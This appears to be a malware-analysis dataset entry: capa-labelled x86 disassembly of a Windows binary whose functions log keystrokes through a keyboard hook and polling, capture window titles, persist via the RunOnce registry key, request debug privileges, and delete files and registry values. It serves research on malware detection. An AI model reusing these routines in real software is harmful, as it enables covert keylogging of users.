joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407123
Capabilities:
Delete directory
Delete file
Delete registry value
Move file
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp byte [0x4b051c], 0
je 0x4071f5
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
lea eax, [ebp - 4]
push esi
push edi
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionRunOnce
push SysReAllocString
call ebx
mov esi, dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
js 0x40716d
push dword [0x4b9b38]
push dword [ebp - 4]
call esi
push dword [ebp - 4]
call edi
lea eax, [ebp - 4]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionRunOnce
push SysReAllocString
call ebx
test eax, eax
js 0x40718b
push str._DefaultEx
push dword [ebp - 4]
call esi
push dword [ebp - 4]
call edi
call fcn.00406d96
mov ebx, eax
call fcn.00406cdc
mov esi, eax
call fcn.00406e30
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileW]
push esi
push ebx
call dword [sym.imp.KERNEL32.DLL_MoveFileW]
push 0x7d0
call dword [sym.imp.KERNEL32.DLL_Sleep]
cmp dword [0x4b9b30], 0x483a04
je 0x4071d2
push edi
call dword [sym.imp.KERNEL32.DLL_RemoveDirectoryW]
push 4
push 0
push esi
call dword [sym.imp.KERNEL32.DLL_MoveFileExW]
push esi
call fcn.0040e9f1
push ebx
call fcn.0040e9f1
push edi
call fcn.0040e9f1
add esp, 0xc
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4075fe
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x4b26f0]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x1a
lea eax, [ebp - 0x20c]
push 0x483a70
push eax
call fcn.004618cc
lea eax, [ebp - 0x20c]
push eax
call fcn.00406cc2
add esp, 0x10
test eax, eax
jne 0x407645
push eax
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateDirectoryW]
push esi
mov esi, 0x4b6928
lea eax, [ebp - 0x20c]
push esi
push eax
call fcn.00404df4
lea eax, [ebp - 0x20c]
push eax
call fcn.00461972
push esi
call fcn.00461972
mov ecx, dword [ebp - 4]
add esp, 0x10
xor ecx, ebp
pop esi
call fcn.00462f14
mov esp, ebp
pop ebp
ret

Function at 0x40767c
Capabilities:
Log keystrokes via application hook

Disassembly:
push 0
push 0
push 0x407464
push 0xd
call dword [sym.imp.USER32.dll_SetWindowsHookExW]
mov dword [0x4b7350], eax
ret
Function at 0x407693
Capabilities:
Get graphical window text
Get keyboard layout
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x4b26f0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 0x208
mov esi, 0x4b6f40
mov dword [0x4b735c], eax
push esi
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov eax, 0x4b7148
mov cx, word [eax]
cmp cx, word [esi]
jne 0x4076ee
test cx, cx
je 0x4076ea
mov cx, word [eax + 2]
cmp cx, word [esi + 2]
jne 0x4076ee
add eax, 4
add esi, 4
test cx, cx
jne 0x4076c8
xor eax, eax
jmp 0x4076f3
sbb eax, eax
or eax, 1
test eax, eax
je 0x4076fc
call fcn.004077a8
xor ecx, ecx
movzx eax, word [ecx + 0x4b6f40]
lea ecx, [ecx + 2]
mov word [ecx + 0x4b7146], ax
test ax, ax
jne 0x4076fe
lea eax, [ebp - 0x28]
push eax
push dword [0x4b735c]
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push 0x100
mov esi, eax
call fcn.004645fc
pop ecx
mov ebx, eax
push ebx
call dword [sym.imp.USER32.dll_GetKeyboardState]
push esi
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
push 7
pop ecx
mov edx, eax
lea edi, [ebp - 0x22]
xor eax, eax
mov word [ebp - 0x24], ax
rep stosd dword es:[edi], eax
mov ecx, dword [ebp + 8]
push edx
push 0
push 0x10
stosw word es:[edi], ax
lea eax, [ebp - 0x24]
push eax
movsx ecx, cx
push ebx
push ecx
push ecx
call dword [sym.imp.USER32.dll_ToUnicodeEx]
cmp byte [ebp + 0xc], 0
lea eax, [ebp - 0x24]
pop edi
pop esi
pop ebx
push 0x4b6928
push dword [0x4b7354]
push eax
je 0x40778a
call dword [sym.imp.USER32.dll_CharUpperW]
push eax
call fcn.00404d70
add esp, 0xc
push 0
call fcn.0040e9f1
pop ecx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00462f14
mov esp, ebp
pop ebp
ret
Function at 0x42b8fb
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
movsx edx, word [ebx + 0x4c]
mov eax, dword [ebx]
mov dword [ebp - 4], eax
mov dword [ebp - 0x14], edx
mov ecx, dword [ebx + edx*4 + 0x78]
mov eax, dword [eax + 4]
mov dword [ebp - 0xc], eax
mov ax, word [ebx + edx*2 + 0x4e]
cmp ax, word [ecx + 0x12]
jae 0x42bad3
cmp byte [ebx + 0x49], 1
jne 0x42bad3
mov esi, dword [ebx + edx*4 + 0x78]
movzx ecx, ax
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x1c], esi
mov eax, dword [esi + 0x40]
movzx edi, byte [eax + ecx*2]
movzx eax, byte [eax + ecx*2 + 1]
shl edi, 8
or edi, eax
movzx eax, word [esi + 0x14]
and edi, eax
add edi, dword [esi + 0x38]
cmp byte [esi + 5], 0
jne 0x42b97b
and dword [ebp - 8], 0
lea eax, [ebp - 8]
push eax
push ebx
call fcn.0042cc17
pop ecx
pop ecx
test eax, eax
jne 0x42bad6
push ebx
push dword [ebx + 0x3c]
push dword [ebp - 0xc]
call fcn.004274fa
add esp, 0xc
test eax, eax
jne 0x42bad6
cmp dword [ebx + 0x10], eax
jne 0x42b9a9
push eax
push dword [ebx + 0x1c]
push dword [ebx + 0x18]
push dword [ebp - 4]
call fcn.0041f8a0
add esp, 0x10
push dword [esi + 0x44]
call fcn.0043997d
pop ecx
test eax, eax
jne 0x42bad6
lea eax, [ebp - 4]
push eax
push edi
push esi
call fcn.004169de
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
movzx eax, word [ebp - 4]
push eax
push dword [ebp - 0x10]
push esi
call fcn.0041a7cc
mov eax, dword [ebp - 8]
add esp, 0x1c
test eax, eax
jne 0x42bad6
cmp byte [esi + 5], al
jne 0x42ba82
movsx eax, word [ebx + 0x4c]
mov edx, dword [ebx + eax*4 + 0x78]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 4], edx
movzx ecx, word [edx + 0x12]
mov eax, dword [ebx + eax*4 + 0x7c]
mov eax, dword [eax + 0x48]
mov dword [ebp - 0x18], eax
mov eax, dword [edx + 0x40]
movzx ebx, byte [eax + ecx*2 - 2]
movzx eax, byte [eax + ecx*2 - 1]
shl ebx, 8
or ebx, eax
movzx eax, word [edx + 0x14]
and ebx, eax
add ebx, dword [edx + 0x38]
push ebx
push edx
call fcn.00415f3c
movzx edi, ax
mov eax, dword [ebp - 0xc]
mov esi, dword [eax + 0x50]
mov eax, dword [ebp - 4]
push dword [eax + 0x44]
call fcn.0043997d
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 0x18]
lea eax, [edi + 4]
push esi
push eax
lea eax, [ebx - 4]
push eax
push dword [ebp - 0x10]
push dword [ebp - 0x1c]
call fcn.0041f6e6
mov ecx, dword [ebp - 4]
lea eax, [ebp - 8]
push eax
push edi
movzx eax, word [ecx + 0x12]
dec eax
push eax
push ecx
call fcn.0041a7cc
mov eax, dword [ebp - 8]
add esp, 0x38
test eax, eax
jne 0x42bad6
mov ebx, dword [ebp + 8]
push ebx
call fcn.00413cb6
mov edi, eax
pop ecx
test edi, edi
jne 0x42bacf
movsx ecx, word [ebx + 0x4c]
mov esi, dword [ebp - 0x14]
cmp ecx, esi
jle 0x42bac8
movzx ecx, word [ebx + 0x4c]
movsx eax, cx
mov edx, dword [ebx + eax*4 + 0x78]
lea eax, [ecx - 1]
push edx
mov word [ebx + 0x4c], ax
call fcn.00426061
movsx eax, word [ebx + 0x4c]
pop ecx
cmp eax, esi
jg 0x42ba9a
push ebx
call fcn.00413cb6
mov edi, eax
pop ecx
test edi, edi
jne 0x42bacf
push ebx
call fcn.00420db7
pop ecx
mov eax, edi
jmp 0x42bad6
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x42bc93
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, dword [ebp + 0x28]
xor eax, eax
push esi
mov esi, dword [ebp + 8]
mov dword [ebp - 8], eax
mov dword [ebp + 0x28], ebx
cmp byte [esi + 0x49], 4
mov eax, dword [esi]
mov dword [ebp + 8], eax
mov eax, dword [eax + 4]
mov dword [ebp - 0xc], eax
jne 0x42bcc2
mov eax, dword [esi + 0x44]
jmp 0x42be48
push esi
push dword [esi + 0x3c]
push eax
call fcn.004274fa
add esp, 0xc
test eax, eax
jne 0x42be48
xor edx, edx
push edi
mov edi, dword [ebp + 0x14]
cmp dword [esi + 0x10], edx
jne 0x42bd1f
push edx
push edi
push dword [ebp + 0x10]
push dword [ebp + 8]
call fcn.0041f8a0
add esp, 0x10
test byte [esi + 0x48], 2
je 0x42bd1f
xor edx, edx
cmp edi, edx
jl 0x42bd1f
jg 0x42bd05
cmp dword [ebp + 0x10], edx
jbe 0x42bd1f
mov eax, dword [ebp + 0x10]
mov ecx, edi
sub eax, 1
sbb ecx, edx
cmp dword [esi + 0x18], eax
jne 0x42bd1f
cmp dword [esi + 0x1c], ecx
jne 0x42bd1f
or ebx, 0xffffffff
mov dword [ebp + 0x28], ebx
test ebx, ebx
jne 0x42bd45
lea eax, [ebp + 0x28]
push eax
push dword [ebp + 0x24]
push edi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push esi
call fcn.00415926
add esp, 0x18
test eax, eax
jne 0x42be47
mov ebx, dword [ebp + 0x28]
movsx eax, word [esi + 0x4c]
lea ecx, [ebp - 8]
push ecx
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
mov edi, dword [esi + eax*4 + 0x78]
push dword [ebp + 0x18]
mov eax, dword [ebp - 0xc]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
mov eax, dword [eax + 0x50]
push dword [ebp + 0xc]
mov dword [ebp - 0xc], eax
push eax
push edi
call fcn.0041c629
mov ecx, eax
add esp, 0x24
mov dword [ebp + 8], ecx
test ecx, ecx
jne 0x42be45
movsx ecx, word [esi + 0x4c]
movzx edx, word [esi + ecx*2 + 0x4e]
mov eax, edx
mov dword [ebp - 4], eax
test ebx, ebx
jne 0x42be4e
push dword [edi + 0x44]
call fcn.0043997d
pop ecx
mov ecx, eax
test ecx, ecx
jne 0x42be45
mov eax, dword [edi + 0x40]
mov ebx, dword [ebp - 4]
movzx ecx, byte [eax + ebx*2]
movzx eax, byte [eax + ebx*2 + 1]
shl ecx, 8
or ecx, eax
movzx eax, word [edi + 0x14]
and ecx, eax
add ecx, dword [edi + 0x38]
cmp byte [edi + 5], 0
jne 0x42bdd6
mov edx, dword [ebp - 0xc]
mov eax, dword [ecx]
mov dword [edx], eax
lea eax, [ebp + 0x28]
push eax
push ecx
push edi
call fcn.004169de
mov dword [ebp + 8], eax
lea eax, [ebp + 8]
push eax
movzx eax, word [ebp + 0x28]
push eax
push ebx
push edi
call fcn.0041a7cc
mov ecx, dword [ebp + 8]
add esp, 0x1c
test ecx, ecx
jne 0x42be45
mov eax, ebx
xor ebx, ebx
lea ecx, [ebp + 8]
push ecx
push ebx
push ebx
push dword [ebp - 8]
push dword [ebp - 0xc]
push eax
push edi
call fcn.0041f6e6
mov ecx, dword [ebp + 8]
xor eax, eax
add esp, 0x1c
mov word [esi + 0x2c], ax
test ecx, ecx
jne 0x42be45
cmp byte [edi + 1], al
je 0x42be45
and byte [esi + 0x48], 0xfd
push esi
call fcn.00413cb6
pop ecx
mov ecx, eax
movsx eax, word [esi + 0x4c]
mov eax, dword [esi + eax*4 + 0x78]
mov byte [eax + 1], bl
mov byte [esi + 0x49], bl
mov eax, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
jns 0x42be00
xor ebx, ebx
cmp word [edi + 0x12], bx
jbe 0x42be02
lea eax, [edx + 1]
mov word [esi + ecx*2 + 0x4e], ax
movzx eax, ax
jmp 0x42be02
Function at 0x432797
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
mov esi, dword [ebp + 0xc]
test esi, esi
jne 0x4327ac
xor eax, eax
jmp 0x432892
push edi
push 0
push 8
push dword [ebp + 8]
call fcn.0042ed86
mov edi, eax
add esp, 0xc
mov dword [ebp - 0xc], edi
test edi, edi
je 0x432891
test byte [ebp + 0x10], 1
mov eax, dword [esi]
mov dword [edi], eax
jne 0x4327e0
xor eax, eax
inc eax
cmp dword [esi], eax
jle 0x4327e0
add eax, eax
cmp eax, dword [esi]
jl 0x4327da
imul eax, eax, 0x18
push ebx
push 0
push eax
push dword [ebp + 8]
call fcn.0042ed86
mov ebx, eax
add esp, 0xc
mov dword [edi + 4], ebx
test ebx, ebx
jne 0x43280d
push edi
push dword [ebp + 8]
call fcn.0042ed36
pop ecx
pop ecx
xor eax, eax
jmp 0x432890
and dword [ebp - 4], 0
cmp dword [esi], 0
mov eax, dword [esi + 4]
mov dword [ebp - 8], eax
jle 0x43288e
mov edi, dword [ebp - 8]
lea eax, [ebx + 0x10]
mov dword [ebp + 0xc], eax
sub ebx, edi
push 0
push dword [ebp + 0x10]
push dword [edi]
push dword [ebp + 8]
call fcn.0041c030
mov dword [ebx + edi], eax
push dword [edi + 4]
push dword [ebp + 8]
call fcn.0042efa1
mov ecx, dword [ebp + 0xc]
mov dword [ecx - 0xc], eax
push dword [edi + 8]
push dword [ebp + 8]
call fcn.0042efa1
mov ecx, dword [ebp + 0xc]
lea edi, [edi + 0x18]
add esp, 0x20
mov dword [ecx - 8], eax
mov al, byte [edi - 0xc]
and dword [ecx], 0xfffffffe
mov byte [ecx - 4], al
mov eax, dword [edi - 8]
xor eax, dword [ecx]
and eax, 2
xor dword [ecx], eax
mov eax, dword [edi - 4]
mov dword [ecx + 4], eax
add ecx, 0x18
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp + 0xc], ecx
mov dword [ebp - 4], eax
cmp eax, dword [esi]
jl 0x432827
mov edi, dword [ebp - 0xc]
mov eax, edi
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x440504
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push 0
push 0x14
and dword [ebx], 0
call fcn.0043785f
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x440525
push 7
pop eax
jmp 0x440580
cmp dword [0x49a204], 0
push edi
je 0x440558
mov eax, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
mov dword [esi + 8], eax
lea eax, [esi + 4]
push eax
xor eax, eax
mov dword [esi + 0xc], edi
push eax
push esi
push 0x4405db
push eax
push eax
call fcn.004687f9
add esp, 0x18
mov dword [esi], eax
test eax, eax
jne 0x440564
mov edi, esi
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov edi, dword [ebp + 0x10]
cmp dword [esi + 8], 0
jne 0x44057b
call dword [sym.imp.KERNEL32.DLL_GetCurrentThreadId]
push edi
mov dword [esi + 4], eax
call dword [ebp + 0xc]
pop ecx
mov dword [esi + 0x10], eax
mov dword [ebx], esi
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x459b4d
Capabilities:
Get graphical window text

Disassembly:
push esi
push edi
push 0x1fe
call fcn.00461d70
mov edi, 0xff
mov esi, eax
push edi
push 0
push esi
call fcn.004653c0
add esp, 0x10
call dword [sym.imp.USER32.dll_GetForegroundWindow]
test eax, eax
jne 0x459b81
push esi
call fcn.0040e9f1
pop ecx
xor eax, eax
jmp 0x459b90
push edi
push esi
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
test eax, eax
je 0x459b76
mov eax, esi
pop edi
pop esi
ret

Function at 0x459b93
Capabilities:
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x260
mov eax, dword [0x4b26f0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
xor eax, eax
push edi
push 0x206
mov word [ebp - 0x20c], ax
xor edi, edi
lea eax, [ebp - 0x20a]
push edi
push eax
call fcn.004653c0
push 0x40
lea eax, [ebp - 0x25c]
xorps xmm0, xmm0
push edi
push eax
movdqu xmmword [ebp - 0x21c], xmm0
call fcn.004653c0
add esp, 0x18
mov dword [ebp - 0x260], 0x44
lea eax, [ebp - 0x20c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetCurrentDirectoryW]
lea eax, [ebp - 0x21c]
push eax
lea eax, [ebp - 0x260]
push eax
lea eax, [ebp - 0x20c]
push eax
push edi
push edi
push edi
push edi
push edi
push edi
push esi
call dword [sym.imp.KERNEL32.DLL_CreateProcessW]
mov edi, eax
test edi, edi
je 0x459c3f
push dword [ebp - 0x21c]
mov esi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
call esi
push dword [ebp - 0x218]
call esi
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
xor ecx, ebp
pop esi
call fcn.00462f14
mov esp, ebp
pop ebp
ret

Function at 0x459c7b
Capabilities:
Write file on windows

Disassembly:
push 0x20
mov eax, 0x481906
call fcn.00462feb
mov ebx, ecx
cmp dword [ebx + 0x40], 0
je 0x459d72
cmp byte [ebx + 0x45], 0
je 0x459d72
mov eax, dword [ebx]
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
jne 0x459cb0
xor al, al
jmp 0x459d74
xor eax, eax
mov dword [ebp - 0x14], 0xf
push eax
push 8
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x18], eax
mov byte [ebp - 0x28], al
call fcn.00408f12
and dword [ebp - 4], 0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x14]
cmp ecx, 0x10
lea eax, [ebp - 0x2c]
mov ecx, dword [ebx + 0x40]
lea edi, [ebp - 0x28]
push eax
mov eax, dword [ebp - 0x18]
lea esi, [ebp - 0x28]
cmovae edi, edx
cmovae esi, edx
mov edx, dword [ecx]
add eax, edi
push eax
push esi
lea eax, [ebx + 0x48]
push eax
call dword [edx + 0x20]
sub eax, 0
je 0x459d0a
dec eax
je 0x459d0e
dec eax
dec eax
je 0x459d60
xor bl, bl
jmp 0x459d62
mov byte [ebx + 0x45], 0
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x28]
mov edx, dword [ebp - 0x28]
cmp ecx, 0x10
mov esi, dword [ebp - 0x2c]
cmovae eax, edx
sub esi, eax
je 0x459d46
push dword [ebx + 0x50]
cmp ecx, 0x10
lea eax, [ebp - 0x28]
push esi
cmovae eax, edx
push 1
push eax
call fcn.004656fe
add esp, 0x10
cmp esi, eax
jne 0x459d06
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x28]
cmp byte [ebx + 0x45], 0
je 0x459d60
test esi, esi
jne 0x459cd4
push esi
push 8
lea ecx, [ebp - 0x28]
call fcn.0045a02c
jmp 0x459cce
mov bl, 1
push 0
push 1
lea ecx, [ebp - 0x28]
call fcn.00401334
mov al, bl
jmp 0x459d74
mov al, 1
call fcn.00462f9a
ret
Function at 0x45a08d
Capabilities:
Terminate process

Disassembly:
mov edx, dword [0x4b9a30]
mov eax, dword [edx]
mov ecx, dword [eax + 4]
add ecx, edx
call fcn.004033ef
call fcn.0045adf2
call fcn.0045c521
push dword [0x4b9a34]
call sub.gdiplus.dll_GdiplusShutdown
call fcn.0045c450
call fcn.0046175d
mov ecx, dword [0x4b9a30]
test ecx, ecx
je 0x45a0cf
push 1
call fcn.00459aff
call fcn.0045924a
jmp fcn.0045b5a4
Function at 0x45b0f8
Capabilities:
Accept command line arguments
Acquire debug privileges
Create thread

Disassembly:
push 0x3c
mov eax, 0x481a20
call fcn.00462fb8
push 3
call dword [sym.imp.KERNEL32.DLL_SetErrorMode]
push str.SeShutdownPrivilege
call fcn.0045bb67
mov dword [esp], str.SeDebugPrivilege
call fcn.0045bb67
mov dword [esp], str.SeTcbPrivilege
call fcn.0045bb67
pop ecx
call fcn.0045d8fa
cmp byte [0x4b051c], 0
je 0x45b16a
call fcn.00406f61
call fcn.004070ee
test al, al
jne 0x45b16a
call fcn.00406d96
mov esi, eax
push esi
call fcn.00459b93
push esi
call fcn.0040e9f1
pop ecx
pop ecx
call fcn.0045c450
jmp 0x45b308
call dword [sym.imp.KERNEL32.DLL_GetCommandLineW]
lea ecx, [ebp - 0x10]
push ecx
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
xor edi, edi
inc edi
push eax
cmp dword [ebp - 0x10], edi
jle 0x45b193
push dword [ebp - 0x10]
call fcn.0045b972
pop ecx
pop ecx
jmp 0x45b30a
call dword [sym.imp.KERNEL32.DLL_LocalFree]
push dword [0x4b9b40]
call fcn.0045c41a
pop ecx
test al, al
jne 0x45b1b0
mov eax, edi
jmp 0x45b30a
mov eax, dword [0x4b9b04]
mov dword [0x4b9afc], eax
mov eax, dword [0x4b9b1c]
mov dword [0x4b9b00], 0x4b9b0c
mov dword [0x4b9b18], eax
mov dword [0x4b9b24], 0x4b9b28
call fcn.0046183e
test al, al
jne 0x45b20c
cmp byte [0x4b051c], al
je 0x45b1f0
call fcn.00406d96
jmp 0x45b1f5
call fcn.00406d75
mov esi, eax
push esi
call fcn.00459b93
push esi
call fcn.0040e9f1
pop ecx
pop ecx
call fcn.0045c450
jmp 0x45b1a9
xor ebx, ebx
mov dword [ebp - 0x2c], edi
push ebx
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x28], ebx
push eax
push 0x4b9a34
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], ebx
call sub.gdiplus.dll_GdiplusStartup
call fcn.00459276
push 0x6c
call fcn.0046273d
pop ecx
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], ebx
test eax, eax
je 0x45b254
push edi
push 0x45a0fa
push 0x45a10c
mov ecx, eax
call fcn.004596b1
jmp 0x45b256
mov eax, ebx
or dword [ebp - 4], 0xffffffff
mov ecx, eax
mov dword [0x4b9a30], eax
call fcn.00459171
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x1c], 8
push eax
mov dword [ebp - 0x18], 0x3fff
call dword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
cmp byte [0x4b9b3e], 0
je 0x45b29f
call fcn.00406d75
mov esi, eax
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
push eax
push esi
push ebx
call fcn.0045c950
add esp, 0xc
mov esi, dword [sym.imp.KERNEL32.DLL_CreateThread]
push ebx
push ebx
push ebx
push 0x40743c
push ebx
push ebx
call esi
push ebx
push ebx
push ebx
push 0x40379f
push ebx
push ebx
mov dword [0x4b9a40], eax
call esi
mov dword [0x4b9a44], eax
call fcn.0045c534
mov esi, dword [sym.imp.USER32.dll_GetMessageW]
lea edi, [ebp - 0x44]
push 6
pop ecx
xor eax, eax
mov dword [ebp - 0x48], ebx
rep stosd dword es:[edi], eax
jmp 0x45b2f5
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
push ebx
push ebx
push ebx
lea eax, [ebp - 0x48]
push eax
call esi
test eax, eax
jg 0x45b2e1
call dword [sym.imp.ole32.dll_CoUninitialize]
xor eax, eax
call fcn.00462f86
ret
Function at 0x45c534
Capabilities:
Create thread
Resume thread
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp byte [0x4b9b3d], 0
jne 0x45c57b
mov eax, dword [0x4b9a74]
test eax, eax
je 0x45c553
push 1
push eax
call dword [sym.imp.KERNEL32.DLL_TerminateThread]
lea eax, [ebp - 4]
push eax
push 4
xor eax, eax
push eax
push 0x45c57f
push eax
push eax
call dword [sym.imp.KERNEL32.DLL_CreateThread]
cmp dword [ebp - 4], 0
mov dword [0x4b9a74], eax
jbe 0x45c57b
push eax
call dword [sym.imp.KERNEL32.DLL_ResumeThread]
mov esp, ebp
pop ebp
ret

Function at 0x45c923
Capabilities:
Terminate process
Terminate thread

Disassembly:
cmp byte [0x4b9b3e], 0
je 0x45c94f
push 0
push dword [0x4b9a88]
mov byte [0x4b9a84], 0
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
push 0
push dword [0x4b9a8c]
call dword [sym.imp.KERNEL32.DLL_TerminateThread]
ret

Function at 0x45c950
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
cmp byte [0x4b9b3e], 0
je 0x45c9c8
push ebx
push esi
push 0xc
mov byte [0x4b9a84], 1
call fcn.0046273d
mov esi, eax
xor ebx, ebx
pop ecx
test esi, esi
je 0x45c980
push edi
mov edi, esi
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
pop edi
jmp 0x45c982
mov esi, ebx
cmp byte [ebp + 8], bl
jne 0x45c998
push esi
call fcn.0045c9ca
pop ecx
push ebx
push ebx
push esi
push 0x45cb8a
jmp 0x45c9ab
mov eax, dword [ebp + 0xc]
push ebx
push ebx
mov dword [esi], eax
mov eax, dword [ebp + 0x10]
push esi
mov dword [esi + 8], eax
push 0x45cb44
mov esi, dword [sym.imp.KERNEL32.DLL_CreateThread]
push ebx
push ebx
call esi
push ebx
push ebx
push ebx
push 0x45caab
push ebx
push ebx
call esi
pop esi
mov dword [0x4b9a8c], eax
pop ebx
pop ebp
ret
Function at 0x45c9ca
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x25c
mov eax, dword [0x4b26f0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
xor eax, eax
push esi
push edi
push 0x1fc
push eax
mov word [ebp - 0x204], ax
lea eax, [ebp - 0x202]
push eax
call fcn.004653c0
add esp, 0xc
call fcn.00406d75
mov esi, eax
mov dword [ebp - 0x208], esi
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
push eax
push esi
lea eax, [ebp - 0x204]
push str.__s___i
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
xor eax, eax
lea edi, [ebp - 0x218]
stosd dword es:[edi], eax
push 0x44
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x25c]
pop edi
push edi
push 0
push eax
call fcn.004653c0
add esp, 0x1c
mov dword [ebp - 0x25c], edi
lea eax, [ebp - 0x218]
xor edi, edi
push eax
lea eax, [ebp - 0x25c]
push eax
push edi
push edi
push edi
push edi
push edi
push edi
lea eax, [ebp - 0x204]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_CreateProcessW]
push 0x10
call fcn.0046273d
pop ecx
test eax, eax
je 0x45ca93
mov edi, eax
lea esi, [ebp - 0x218]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov esi, dword [ebp - 0x208]
jmp 0x45ca95
mov eax, edi
mov ecx, dword [ebp - 4]
pop edi
mov dword [ebx], esi
xor ecx, ebp
pop esi
mov dword [ebx + 4], eax
pop ebx
call fcn.00462f14
mov esp, ebp
pop ebp
ret

Function at 0x45cadf
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push ebx
push esi
push edi
xor eax, eax
lea edi, [ebp - 0x10]
stosd dword es:[edi], eax
push 0x44
pop esi
push esi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x54]
xor edi, edi
push edi
push eax
call fcn.004653c0
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x10]
add esp, 0xc
mov dword [ebp - 0x54], esi
push eax
lea eax, [ebp - 0x54]
push eax
push edi
push edi
push edi
push edi
push edi
push edi
push edi
push dword [ebx]
call dword [sym.imp.KERNEL32.DLL_CreateProcessW]
push 0x10
call fcn.0046273d
pop ecx
test eax, eax
je 0x45cb38
mov edi, eax
lea esi, [ebp - 0x10]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
jmp 0x45cb3a
mov eax, edi
pop edi
pop esi
mov dword [ebx + 4], eax
pop ebx
mov esp, ebp
pop ebp
ret